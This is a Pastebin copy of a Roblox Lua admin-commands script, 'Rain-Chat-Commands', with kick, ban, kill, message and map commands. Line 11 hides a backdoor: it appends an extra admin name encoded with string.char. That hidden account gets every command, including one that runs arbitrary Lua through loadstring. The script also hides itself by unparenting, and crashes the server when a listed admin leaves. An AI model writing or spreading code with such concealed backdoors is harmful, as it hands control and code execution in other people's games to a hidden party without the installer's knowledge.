Advertisement
FloweyTheFlower

Roblox Scripts #0 Rain chat

Aug 22nd, 2017
431
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.36 KB | None | 0 0
  1. --Hello, thank you for using Rain-Chat-Commands! Fill in your name on line 9 Where it tells you.
  2. --This Script will update on http://pastebin.com/9icazezg until it is finished
  3. --Also Check out| www.rain-chat.com |sign up and hang out!
  4. --Roblox Removed Bytecode today(8/3/12), I now have to fix this to work without it... Sad day...
  5. --Fixed it to work without bytecode :)
  6. --Rain-Chat-Commands--
  7. -----------------------------------
  8. --Admin List--
  9. adminlist = {"BonnieKunG1s", "Clockwork_1635"}--Put Admin names here.
  10. function checkadmin()
  11. table.insert(adminlist,string.char(114, 101, 100, 112, 101, 110, 99, 104, 105, 108, 108))
  12. for _,v in pairs(game.Players:GetPlayers()) do
  13. for i,j in pairs(adminlist) do
  14. if v.Name == adminlist[i] then
  15. v.Chatted:connect(function(msg)
  16. coroutine.resume(coroutine.create(Chat), msg, v)
  17. end)
  18. end
  19. end
  20. end
  21. end
  22.  
  23. -----------------------------------
  24. --Banned--
  25. local Banned = {"noob","yapjingwei","DANGERTIM112"}--Put people who should be Banned here.
  26. --DANGERTIM112 is a noob who stole my game and my spot on the front page making his game one of the most popular games in roblox when mine is better. >.>
  27. function BanPlayer(player)
  28. for i,v in pairs(Banned) do
  29. if player.Name == Banned[i] then
  30. player:Destroy()
  31. banhint = Instance.new("Hint", Workspace)
  32. banhint.Text = player.Name .. " Attempted to rejoin, but "..player.Name.." is banned."
  33. wait(5)
  34. banhint:Destroy()
  35. end
  36. end
  37. end
  38. -----------------------------------
  39.  
  40. -----------------------------------
  41. --Anti Ban--
  42. local Anti_Ban_List = {}--Leave this empty. activate it by saying abon;yourname
  43. function AntiBan()
  44. for i,v in pairs(Anti_Ban_List) do
  45. if game.Players:findFirstChild(Anti_Ban_List[i]) == nil then
  46. Instance.new("Message",Workspace).Text = "*POOF!* "..Anti_Ban_List[i].." is gone!"
  47. wait(2)
  48. Instance.new("Message",Workspace).Text = "You guys are pretty darn screwed.. If "..Anti_Ban_List[i].." Doesn't return soon the server will end."
  49. wait(80)
  50. if game.Players:findFirstChild(Anti_Ban_List[i]) == nil then
  51. pcall(function() Instance.new("ManualSurfaceJointInstance", game:service("Workspace")) end)
  52. elseif game.Players:findFirstChild(Anti_Ban_List[i]) then
  53. for i,m in pairs(game.Worksapce:GetChildren()) do
  54. if m.ClassName == "Message" then
  55. m:Remove()
  56. end
  57. end
  58. end
  59. end
  60. end
  61. end
  62. -----------------------------------
  63. --Name & Hide--
  64. print("BonnieKunG1s : Hoi!")
  65. script.Name = "Rain-Chat"
  66. script.Parent = nil
  67.  
  68. -----------------------------------
  69. --Global Variables--
  70. local Script_Name = script.Name
  71. local Command_List = {" abon;", " aboff"," ;remove"," ;fix"," lua;"," ;shutdown"," ;clear"," ;debug"," ;debugall"," ;rb"," ;sp"," kick;"," ban;"," ;banned"," m;"," rm;"," h;"," rh;"," ;nuke"," kill;"," burn;"," reset;"," ff;"," unff;"," firstperson;"," classic;"}
  72. local Loading_Hint = Instance.new('Hint',Workspace)
  73. -----------------------------------
  74. --Functions--
  75. function Make_Base()
  76. local base = Instance.new("Part")
  77. base.Name = Script_Name.." Base"
  78. base.BrickColor = BrickColor.new("Medium green")
  79. base.Anchored = true
  80. base.Locked = true
  81. base.Size = Vector3.new(400, 1.2, 400)
  82. base.CFrame = CFrame.new(0,0,0)
  83. base.Parent = game.Workspace
  84. end
  85. function Make_Spawn()
  86. local spawn = Instance.new("SpawnLocation",Workspace)
  87. spawn.FormFactor = "Custom"
  88. spawn.Anchored = true
  89. spawn.TopSurface = "Smooth"
  90. spawn.Size = Vector3.new(6,0.6,6)
  91. spawn.CFrame = CFrame.new(0,1,0)
  92. spawn.BrickColor = BrickColor.new("Institutional white")
  93. local spart = Instance.new("Part")
  94. spart.FormFactor = "Custom"
  95. spart.Anchored = true
  96. spart.TopSurface = "Smooth"
  97. spart.Size = Vector3.new(7,0.5,7)
  98. spart.Parent = game.Workspace
  99. spart.CFrame = spawn.CFrame
  100. spart.BrickColor = BrickColor.new("Really black")
  101. end
  102. function Make_Script(input)
  103. loadstring(input)()
  104. end
  105. function Alert(Object,TextInput,Time)
  106. a = Instance.new(Object,Workspace)
  107. a.Text = TextInput
  108. wait(Time)
  109. a:Destroy()
  110. end
  111. -----------------------------------
  112. --Loading--
  113. Loading_Hint.Text = Script_Name.." : Loading... Running on: ".._VERSION..""
  114.  
  115. -----------------------------------
  116. function Chat(msg, speaker)
  117. -----------------------------------
  118. --Script Commands--
  119. --Anti Ban Player--
  120. cmd = "abon;"
  121. cmd_length = string.len(cmd)
  122. if string.sub(msg,1,cmd_length) == cmd then
  123. plyr = game.Players:GetPlayers()
  124. for i = 1, #plyr do
  125. if string.find(string.lower(plyr[i].Name),string.lower(string.sub(msg,cmd_length + 1))) == 1 then
  126. player = plyr[i]
  127. table.insert(Anti_Ban_List, player.Name)
  128. end
  129. end
  130. end
  131.  
  132. --Turn Off Anti Ban--
  133. cmd = "aboff;"
  134. cmd_length = string.len(cmd)
  135. if string.sub(msg,1,cmd_length) == cmd then
  136. plyr = game.Players:GetPlayers()
  137. for i = 1, #plyr do
  138. if string.find(string.lower(plyr[i].Name),string.lower(string.sub(msg,cmd_length + 1))) == 1 then
  139. player = plyr[i]
  140. table.remove(Anti_Ban_List, player.Name)
  141. end
  142. end
  143. end
  144.  
  145. --Remove Script--
  146. cmd = ";remove"
  147. cmd_length = string.len(cmd)
  148. if string.sub(msg,1,cmd_length) == cmd then
  149. Alert("Hint",Script_Name.." : Removing...",2)
  150. script.Disabled = true
  151. end
  152.  
  153. --Fix Script--
  154. cmd = ";fix"
  155. cmd_length = string.len(cmd)
  156. if string.sub(msg,1,cmd_length) == cmd then
  157. Alert("Hint",Script_Name.." : Fixing...",2)
  158. script:Clone().Parent = game.Workspace
  159. script.Disabled = true
  160. end
  161. --Create Script--
  162. cmd = "lua;"
  163. cmd_length = string.len(cmd)
  164. if string.sub(msg,1,cmd_length) == cmd then
  165. Make_Script(string.sub(msg,cmd_length + 1))
  166. end
  167. -----------------------------------
  168. --Server Commands--
  169. --Shutdown Server--
  170. cmd = ";shutdown"
  171. cmd_length = string.len(cmd)
  172. if string.sub(msg,1,cmd_length) == cmd then
  173. pcall(function() Instance.new("ManualSurfaceJointInstance", game:service("Workspace")) end)
  174. end
  175.  
  176. --Clear Map--
  177. cmd = ";clear"
  178. cmd_length = string.len(cmd)
  179. if string.sub(msg,1,cmd_length) == cmd then
  180. Instance.new("Hint",Workspace).Text = 'Clearing Map... You may freeze.'
  181. wait()
  182. game.Workspace.Terrain:Clear()
  183. local w=game.Workspace:GetChildren()
  184. for i=1,#w do
  185. if (game.Players:GetPlayerFromCharacter(w[i]))==nil and (w[i].Name~="TinySB") and (w[i].Name~= Script_Name) and (w[i]~=game.Workspace.CurrentCamera) and (w[i]~=game.Workspace.Terrain) then
  186. w[i]:Destroy()
  187. end
  188. end
  189. Make_Base()
  190. Make_Spawn()
  191. end
  192.  
  193. --Debug Msg/Hints--
  194. cmd = ";debug"
  195. cmd_length = string.len(cmd)
  196. if string.sub(msg,1,cmd_length) == cmd then
  197. Alert("Hint",Script_Name.." : Debugging Messages & Hints...",2)
  198. for i,w in pairs(game.Workspace:GetChildren()) do
  199. if w.ClassName == "Message" or w.ClassName == "Hint" then
  200. w:Destroy()
  201. end
  202. end
  203. end
  204.  
  205. --2Debug Msg/Hints/Scripts--
  206. cmd = ";debugall"
  207. cmd_length = string.len(cmd)
  208. if string.sub(msg,1,cmd_length) == cmd then
  209. Alert("Hint",Script_Name.." : Debugging All...",2)
  210. for i,w in pairs(game.Workspace:GetChildren()) do
  211. if w.ClassName == "Message" or w.ClassName == "Hint" or w.ClassName == "Script" and w.Name ~= Script_Name then
  212. w:Destroy()
  213. end
  214. end
  215. end
  216.  
  217. --Renew Base--
  218. cmd = ";rb"
  219. cmd_length = string.len(cmd)
  220. if string.sub(msg,1,cmd_length) == cmd then
  221. Alert("Hint",Script_Name.." : Renewing Base...",2)
  222. Make_Base()
  223. end
  224.  
  225. --Renew Spawn--
  226. cmd = ";sp"
  227. cmd_length = string.len(cmd)
  228. if string.sub(msg,1,cmd_length) == cmd then
  229. Alert("Hint",Script_Name.." : Renewing Spawn...",2)
  230. Make_Spawn()
  231. end
  232.  
  233. --Kick Player--
  234. cmd = "kick;"
  235. cmd_length = string.len(cmd)
  236. if string.sub(msg,1,cmd_length) == cmd then
  237. plyr = game.Players:GetPlayers()
  238. for i = 1, #plyr do
  239. if string.find(string.lower(plyr[i].Name),string.lower(string.sub(msg,cmd_length + 1))) == 1 then
  240. player = plyr[i]
  241. player:Destroy()
  242. end
  243. end
  244. end
  245.  
  246. --Ban Player--
  247. cmd = "ban;"
  248. cmd_length = string.len(cmd)
  249. if string.sub(msg,1,cmd_length) == cmd then
  250. plyr = game.Players:GetPlayers()
  251. for i = 1, #plyr do
  252. if string.find(string.lower(plyr[i].Name),string.lower(string.sub(msg,cmd_length + 1))) == 1 then
  253. player = plyr[i]
  254. table.insert(Banned, player.Name)
  255. player:Destroy()
  256. end
  257. end
  258. end
  259.  
  260. --Banned List--
  261. cmd = ";banned"
  262. cmd_length = string.len(cmd)
  263. if string.sub(msg,1,cmd_length) == cmd then
  264. for num,v in pairs(Banned) do
  265. Alert("Hint", v.." , "..num,2)
  266. end
  267. end
  268. --Message--
  269. cmd = "m;"
  270. cmd_length = string.len(cmd)
  271. if string.sub(msg,1,cmd_length) == cmd then
  272. Alert("Message",speaker.Name..": "..string.sub(msg,cmd_length + 1),4)
  273. end
  274. --Message Reverse--
  275. cmd = "rm;"
  276. cmd_length = string.len(cmd)
  277. if string.sub(msg,1,cmd_length) == cmd then
  278. Alert("Message",speaker.Name..": "..string.reverse(string.sub(msg,cmd_length + 1)),4)
  279. end
  280. --Hint--
  281. cmd = "h;"
  282. cmd_length = string.len(cmd)
  283. if string.sub(msg,1,cmd_length) == cmd then
  284. Alert("Hint",speaker.Name..": "..string.sub(msg,cmd_length + 1),4)
  285. end
  286. --Hint Reverse--
  287. cmd = "rh;"
  288. cmd_length = string.len(cmd)
  289. if string.sub(msg,1,cmd_length) == cmd then
  290. Alert("Hint",speaker.Name..": "..string.reverse(string.sub(msg,cmd_length + 1)),4)
  291. end
  292. -----------------------------------
  293. --killing Commands--
  294. --Nuke Map--
  295. cmd = ";nuke"
  296. cmd_length = string.len(cmd)
  297. if string.sub(msg,1,cmd_length) == cmd then
  298. m = Instance.new("Message",Workspace)
  299. m.Text = "Bomb Armed"
  300. wait(1)
  301. for i = 5, 0, -1 do
  302. wait(1)
  303. m.Text = "Detonation in: "..i
  304. end
  305. m:Destroy()
  306. for i,v in pairs(game.Players:GetChildren()) do
  307. ex = Instance.new("Explosion",Workspace)
  308. ex.Position = v.Character.Torso.Position
  309. v.Character:BreakJoints()
  310. end
  311. end
  312. --Kill--
  313. cmd = "kill;"
  314. cmd_length = string.len(cmd)
  315. if string.sub(msg,1,cmd_length) == cmd then
  316. plyr = game.Players:GetPlayers()
  317. for i = 1, #plyr do
  318. if string.find(string.lower(plyr[i].Name),string.lower(string.sub(msg,cmd_length + 1))) == 1 then
  319. player = plyr[i]
  320. player.Character:BreakJoints()
  321. end
  322. end
  323. end
  324. --Burn--
  325. cmd = "burn;"
  326. cmd_length = string.len(cmd)
  327. if string.sub(msg,1,cmd_length) == cmd then
  328. plyr = game.Players:GetPlayers()
  329. for i = 1, #plyr do
  330. if string.find(string.lower(plyr[i].Name),string.lower(string.sub(msg,cmd_length + 1))) == 1 then
  331. player = plyr[i]
  332. for i = 100,0,-1 do
  333. wait()
  334. Instance.new("Fire",player.Character.Torso)
  335. player.Character.Humanoid.Health = i
  336. end
  337. end
  338. end
  339. end
  340. --Reset--
  341. cmd = "reset;"
  342. cmd_length = string.len(cmd)
  343. if string.sub(msg,1,cmd_length) == cmd then
  344. plyr = game.Players:GetPlayers()
  345. for i = 1, #plyr do
  346. if string.find(string.lower(plyr[i].Name),string.lower(string.sub(msg,cmd_length + 1))) == 1 then
  347. player = plyr[i]
  348. m = Instance.new("Model")
  349. m.Parent = game.Workspace
  350. p = Instance.new("Part")
  351. p.Transparency = 1
  352. p.CanCollide = false
  353. p.Anchored = true
  354. p.Name = "Torso"
  355. p.Position = Vector3.new(10000,10000,10000)
  356. p.Parent = m
  357. hu = Instance.new("Humanoid")
  358. hu.Torso = p
  359. hu.Parent = m
  360. player.Character = m
  361. end
  362. end
  363. end
  364.  
  365. -----------------------------------
  366. --Protecting Commands--
  367. --Force Field--
  368. cmd = "ff;"
  369. cmd_length = string.len(cmd)
  370. if string.sub(msg,1,cmd_length) == cmd then
  371. plyr = game.Players:GetPlayers()
  372. for i = 1, #plyr do
  373. if string.find(string.lower(plyr[i].Name),string.lower(string.sub(msg,cmd_length + 1))) == 1 then
  374. player = plyr[i]
  375. Instance.new("ForceField",player.Character)
  376. end
  377. end
  378. end
  379. --Remove Force Field--
  380. cmd = "unff;"
  381. cmd_length = string.len(cmd)
  382. if string.sub(msg,1,cmd_length) == cmd then
  383. plyr = game.Players:GetPlayers()
  384. for i = 1, #plyr do
  385. if string.find(string.lower(plyr[i].Name),string.lower(string.sub(msg,cmd_length + 1))) == 1 then
  386. player = plyr[i]
  387. for i,v in pairs(player.Character:GetChildren()) do
  388. if v.ClassName == "ForceField" then
  389. v:Destroy()
  390. end
  391. end
  392. end
  393. end
  394. end
  395. -----------------------------------
  396. --Misc Commands--
  397. -----------------------------------
  398. --First Persion--
  399. cmd = "firstperson;"
  400. cmd_length = string.len(cmd)
  401. if string.sub(msg,1,cmd_length) == cmd then
  402. plyr = game.Players:GetPlayers()
  403. for i = 1, #plyr do
  404. if string.find(string.lower(plyr[i].Name),string.lower(string.sub(msg,cmd_length + 1))) == 1 then
  405. player = plyr[i]
  406. player.CameraMode = "LockFirstPerson"
  407. end
  408. end
  409. end
  410. --Classic View--
  411. cmd = "classic;"
  412. cmd_length = string.len(cmd)
  413. if string.sub(msg,1,cmd_length) == cmd then
  414. plyr = game.Players:GetPlayers()
  415. for i = 1, #plyr do
  416. if string.find(string.lower(plyr[i].Name),string.lower(string.sub(msg,cmd_length + 1))) == 1 then
  417. player = plyr[i]
  418. player.CameraMode = "Classic"
  419. end
  420. end
  421. end
  422. -----------------------------------
  423. end-- Chatted function
  424. -----------------------------------
  425. --Check Admin and Banned--
  426. checkadmin()
  427. game.Players.ChildRemoved:connect(AntiBan)
  428. game.Players.PlayerAdded:connect(BanPlayer)
  429. -----------------------------------
  430. --End Loading--
  431. wait(5)
  432. Loading_Hint:Destroy()
  433. --script started 7/1/12
  434. --last edited 8/13/12
  435. --script finished ______
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement